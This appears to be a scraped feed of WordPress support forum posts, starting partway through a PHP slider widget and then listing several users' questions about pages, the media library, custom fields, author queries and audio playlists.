delay: <?php if (($delay) <> "" ) { echo (($delay)); } else { echo '3000'; } ?>, // How long between slide transitions in AutoPlay mode
startStopped:false, // If autoPlay is on, this can force it to start stopped
animationTime: <?php if (($animationTime) <> "" ) { echo (($animationTime)); } else { echo '600'; } ?>, // How long the slide transition takes
hashTags: true, // Should links change the hashtag in the URL?
buildNavigation: true, // If true, builds and list of anchor links to link to each slide
pauseOnHover: true, // If true, and autoPlay is enabled, the show will pause on hover
startText: "Go", // Start text
stopText: "Stop", // Stop text
navigationFormatter: formatText // Details at the top of the file on this use (advanced use)
});

$anytsl("#slide-jump").click(function(){
$anytsl('.tslider3').anythingSlider(6);
});

});
</script>
<div id="any_slider">
<div class="tslider3 ">
<div class="wrapper clearfix" style="height:<?php if (($height) <> "" ) { echo (($height)); } else { echo '388'; } ?>px !important;">

<?php
global $post;
$today_special = apply_filters('templ_anything_slider_widget_postsobj_filter',get_posts('numberposts='.$title.'&category='.$category.''));
foreach($today_special as $post) :
if($post){
setup_postdata($post);
$post_images = bdw_get_images($post->ID,'large');
?>

<?php
$custom_design = apply_filters('templ_anything_slider_widget_content_filter',templ_anything_slider_fun($post));
if(is_object($custom_design))
{
echo templ_anything_slider_class_fun($post);
}else
{
echo $custom_design;
}
?>

<?php }?>
<?php endforeach; ?>

</div>
</div>
</div>
<?php
echo $after_widget;
}

function update($new_instance, $old_instance) {
//save the widget
$instance = $old_instance;
$instance['title'] = strip_tags($new_instance['title']);
$instance['category'] = strip_tags($new_instance['category']);
$instance['delay'] = strip_tags($new_instance['delay']);
$instance['animationTime'] = strip_tags($new_instance['animationTime']);
$instance['height'] = strip_tags($new_instance['height']);
return $instance;
}

function form($instance) {
//widgetform in backend
$instance = wp_parse_args( (array) $instance, array( 'title' => '', 'category' => '', 'post_number' => '','delay' => '','animationTime' => '','height' => '' ) );
$title = strip_tags($instance['title']);
$category = strip_tags($instance['category']);
$delay = strip_tags($instance['delay']);
$animationTime = strip_tags($instance['animationTime']);
$height = strip_tags($instance['height']);
?>
<p>
<label for="<?php echo $this->get_field_id('title'); ?>"><?php _e('Number of posts:','templates')?>
<input class="widefat" id="<?php echo $this->get_field_id('title'); ?>" name="<?php echo $this->get_field_name('title'); ?>" type="text" value="<?php echo attribute_escape($title); ?>" />
</label>
</p>
<p>
<label for="<?php echo $this->get_field_id('category'); ?>"><?php _e('Categories (IDs separated by commas):','templates')?>
<input class="widefat" id="<?php echo $this->get_field_id('category'); ?>" name="<?php echo $this->get_field_name('category'); ?>" type="text" value="<?php echo attribute_escape($category); ?>" />
</label>
</p>
<p>
<label for="<?php echo $this->get_field_id('delay'); ?>"><?php _e('Slider delay time :','templates')?>
<input class="widefat" id="<?php echo $this->get_field_id('delay'); ?>" name="<?php echo $this->get_field_name('delay'); ?>" type="text" value="<?php echo attribute_escape($delay); ?>" />
</label>
</p>
<p>
<label for="<?php echo $this->get_field_id('animationTime'); ?>"><?php _e('Slider animation time :','templates')?>
<input class="widefat" id="<?php echo $this->get_field_id('animationTime'); ?>" name="<?php echo $this->get_field_name('animationTime'); ?>" type="text" value="<?php echo attribute_escape($animationTime); ?>" />
</label>
</p>
<p>
<label for="<?php echo $this->get_field_id('height'); ?>"><?php _e('Slider Banner Height (i.e.400):','templates')?>
<input class="widefat" id="<?php echo $this->get_field_id('height'); ?>" name="<?php echo $this->get_field_name('height'); ?>" type="text" value="<?php echo attribute_escape($height); ?>" />
</label>
</p>
<?php
}
}
register_widget('templ_anything_slider');
}

function templ_anything_slider_class_fun($post)
{
ob_start(); // don't remove this code
/////////////////////////////////////////////////////
if(get_the_post_thumbnail( $post->ID, array())){
?>
ID);?>"><?php echo get_the_post_thumbnail( $post->ID, array(220,220),array('class' => "",));?>
<?php
}else if($post_images = bdw_get_images($post->ID,'large')){
global $thumb_url;
?>
ID);?>">
<img src="<?php echo get_bloginfo('template_url');?>/thumb.php?src=<?php echo $post_images[0];?>&w=220&h=220&zc=1&q=80<?php echo $thumb_url;?>" alt="<?php echo get_the_title($post->ID);?>" title="<?php echo get_the_title($post->ID);?>" />
<?php } ?>
<div class="tslider3_content">
<h4> ID);?>"><?php echo get_the_title($post->ID);?></h4>
<p><?php echo bm_better_excerpt(605, ' ... ');?></p>
<p>ID);?>" class="more"><?php _e('Read More','templates')?></p>
</div>
<?php
/////////////////////////////////////////////////////
$return = ob_get_contents(); // don't remove this code
ob_end_clean(); // don't remove this code
return $return;
}
function templ_anything_slider_fun($post)
{
return $post;
}
?>

Can someone please help in coding so the pages shows up instead of posts .

Many Thanks.


Roman.L on "Add Media "Uploaded to this post" by any means..."

$
0
0

When writing post or page you can click Add Media and on Insert Media tab you have drop-down menu first two options are "All Media Items" and "Uploaded to this post".

I am looking for any way to make "Uploaded to this post" default option. I am open to any solutions that will work even editing source files for WordPress directly.

So far i only found jQuery solutions that work very slow first letting 200 images load and only then switching to "Uploaded to this post".

I assume it could be faster if i can limit images that load by default to 1 as i don't ever need to see all images anyway.

Archaic Radio on "Randomize Custom Fields from Posts"

$
0
0

Hi Ya'll,

I'm having a hard time getting my page to display a random list of custom fields from a specific post. Below is my code.

<?php
$digvaud_id = 1833;
$digvaud_post = get_post($args,$digvaud_id);
?>

<?php $itemnamefeat = get_post_meta ($digvaud_post->ID, 'wpcf-playlist-song-title', false); ?>
<?php $itemmp3feat = get_post_meta ($digvaud_post->ID, 'wpcf-playlist-song-mp3', false); ?>
<h3 class="playlist-title">Playlist</h3>
<ul>
<?php foreach (array_combine($itemnamefeat, $itemmp3feat) as $itemnamefeat => $itemmp3feat){

$playlist_combinedfeat = '<li><a href="' .$itemmp3feat. '">' .$itemnamefeat. '</a></li>';

echo apply_filters('the_content', $playlist_combinedfeat);
} ?>
</ul>

The result is currently a list of custom field values from post #1833. The only issue I'm having is randomizing the list. Thanks for any help.

torreto on "List related author on author page"

$
0
0

I am not expert on php and need some help about custom query on my wordpress author page.

I have no problem when using WP_User_Query, the problem is i need to combine it with $curauth

What i need to do is get related authors list with WP_User_Query that filtered with current author page as a custom field value.

here is code that got error:

// WP_User_Query arguments
$curauth = (isset($_GET['author_name'])) ? get_user_by('slug', $author_name) : get_userdata(intval($author));
$label = echo $curauth->user_login;
$args = array (
'role'           => 'contibutor',
'number'         => '10',
'order'          => 'ASC',
'orderby'        => 'display_name',
'meta_query'     => array(
    array(
        'key'       => 'user_label',
        'value'     => $label,
    ),
),
);

// The User Query
$user_query = new WP_User_Query( $args );

// The User Loop
if ( ! empty( $user_query->results ) ) {
foreach ( $user_query->results as $user ) {
    // do something
}
} else {
// no users found
}

I hope someone here can help to resolve my problem. Thank you

tmakitalo on "How to use the latest page as front page?"

$
0
0

Hi,

We use a theme that have a lot of functions build in to the page section thats not avalible when you write posts.

I need some way to automatic show the latest page as the websites frontpage/homepage.

So that if I have the page "Monday" as front page and then publish a new page called Tuesday it will automaticly be used as the theme front page.

How can I do this?

bxwebber on "Stop playlist audio player automatically?"

$
0
0

Hi!

I've created audio playlists using WP's core mediaelement player. When playing selections in a list, at the end of the list the player returns automatically to the first selection and starts all over again.
Is there a hack to stop playing automatically at the end of a play list?

Viewing all 8245 articles
Browse latest View live




Latest Images